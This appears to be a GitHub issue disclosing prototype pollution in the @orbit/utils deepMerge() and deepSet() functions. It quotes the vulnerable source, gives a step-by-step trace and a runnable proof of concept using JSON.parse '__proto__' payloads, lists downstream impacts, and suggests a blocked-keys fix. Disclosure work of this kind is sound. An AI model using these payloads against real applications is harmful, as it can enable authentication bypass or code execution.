Skip to content

Prototype Pollution in @orbit/utils via deepMerge() and deepSet() #1001

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in @orbit/utils

Summary

@orbit/utils (<= 0.17.0) is vulnerable to Prototype Pollution via deepMerge() and deepSet().


Vulnerable Source Code

1. deepMerge — [packages/@orbit/utils/src/objects.ts]

export function deepMerge(object: any, ...sources: any[]): any {
  sources.forEach((source) => {
    Object.keys(source).forEach((field) => {
      if (source.hasOwnProperty(field)) {
        let a = object[field];   // ← object["__proto__"] resolves to Object.prototype
        let b = source[field];
        if (
          isObject(a) && isObject(b) &&
          !Array.isArray(a) && !Array.isArray(b)
        ) {
          deepMerge(a, b);       // ← recursively merges INTO Object.prototype
        } else if (b !== undefined) {
          object[field] = clone(b);
        }
      }
    });
  });
  return object;
}

No sanitization of __proto__, constructor, or prototype keys anywhere.

2. deepSet — same file

export function deepSet(obj: any, path: string[], value: any): boolean {
  let ptr = obj;
  let prop = path.pop() as string;
  for (let i = 0, l = path.length; i < l; i++) {
    let segment = path[i];
    if (ptr[segment] === undefined) {
      ptr[segment] = typeof segment === 'number' ? [] : {};
    }
    ptr = ptr[segment];   // ← ptr["__proto__"] → Object.prototype
  }
  ptr[prop] = value;       // ← writes directly to Object.prototype
  return true;
}

Same issue — zero path segment validation.


Why This Is a Vulnerability

Step-by-step: How deepMerge pollutes Object.prototype

1. Attacker input:  JSON.parse('{"__proto__":{"polluted":"yes"}}')
   → Creates object where "__proto__" is a real OWN ENUMERABLE property
   → Object.keys() DOES return ["__proto__"]

2. Object.keys(source) iterates over "__proto__"
   → source.hasOwnProperty("__proto__") → true ✓

3. object["__proto__"] on a plain {} resolves via accessor to Object.prototype
   → a = Object.prototype

4. isObject(Object.prototype) → true
   isObject({"polluted":"yes"}) → true
   → Enters recursive branch

5. deepMerge(Object.prototype, {"polluted":"yes"})
   → Object.keys({"polluted":"yes"}) → ["polluted"]
   → Object.prototype["polluted"] = "yes"  ← POLLUTION COMPLETE

6. Every object in the runtime now has .polluted === "yes"

Why JSON.parse matters

A JavaScript literal {__proto__: {polluted: "yes"}} sets the prototype via the accessor — Object.keys() will NOT list __proto__. But JSON.parse('{"__proto__":{"polluted":"yes"}}') creates __proto__ as a regular own enumerable property, so Object.keys() returns it. This is the standard real-world attack vector, since virtually all web frameworks use JSON.parse on HTTP request bodies.

Why deepSet is also vulnerable

1. deepSet({}, ["__proto__", "injected"], "value")
2. path.pop() → prop = "injected", path = ["__proto__"]
3. Loop: ptr["__proto__"] is NOT undefined (it's Object.prototype via accessor)
   → ptr = Object.prototype
4. ptr["injected"] = "value"  ← writes to Object.prototype

Proof of Concept

const { deepMerge, deepSet } = require('@orbit/utils');

// === Test 1: deepMerge ===
console.log('Before:', ({}).polluted); // undefined

const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMerge({}, payload);

const obj = {};
console.log('After deepMerge:', obj.polluted); // "yes" ← POLLUTED
console.log('Vulnerable (deepMerge):', obj.polluted === 'yes'); // true

// Clean up
delete Object.prototype.polluted;

// === Test 2: deepSet ===
console.log('Before:', ({}).injected); // undefined

deepSet({}, ['__proto__', 'injected'], 'via_deepSet');

console.log('After deepSet:', ({}).injected); // "via_deepSet" ← POLLUTED
console.log('Vulnerable (deepSet):', ({}).injected === 'via_deepSet'); // true

// Clean up
delete Object.prototype.injected;

Impact

Successful prototype pollution enables downstream attacks depending on how the application processes objects:

Attack How
Remote Code Execution Pollute shell, env, or template engine options → child_process.exec injection
Authentication Bypass Inject isAdmin: true, role: "admin" into user/session objects
Denial of Service Override toString, valueOf, hasOwnProperty → crash all object operations
SQL Injection Pollute query builder parameters ($where, $gt)
SSRF Inject hostname, port, protocol into HTTP client config objects
XSS Inject HTML/JS via polluted template variables
Path Traversal Pollute path, basedir in file system operations
CORS Bypass Inject Access-Control-Allow-Origin via polluted header configs

Remediation

Add key validation to block dangerous keys:

const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

export function deepMerge(object: any, ...sources: any[]): any {
  sources.forEach((source) => {
    Object.keys(source).forEach((field) => {
      if (BLOCKED_KEYS.has(field)) return;  // ← ADD THIS
      // ... rest of logic
    });
  });
  return object;
}

export function deepSet(obj: any, path: string[], value: any): boolean {
  // ... 
  for (let i = 0, l = path.length; i < l; i++) {
    let segment = path[i];
    if (BLOCKED_KEYS.has(segment)) return false;  // ← ADD THIS
    // ...
  }
  // also check final prop
  if (BLOCKED_KEYS.has(prop)) return false;  // ← ADD THIS
  ptr[prop] = value;
  return true;
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions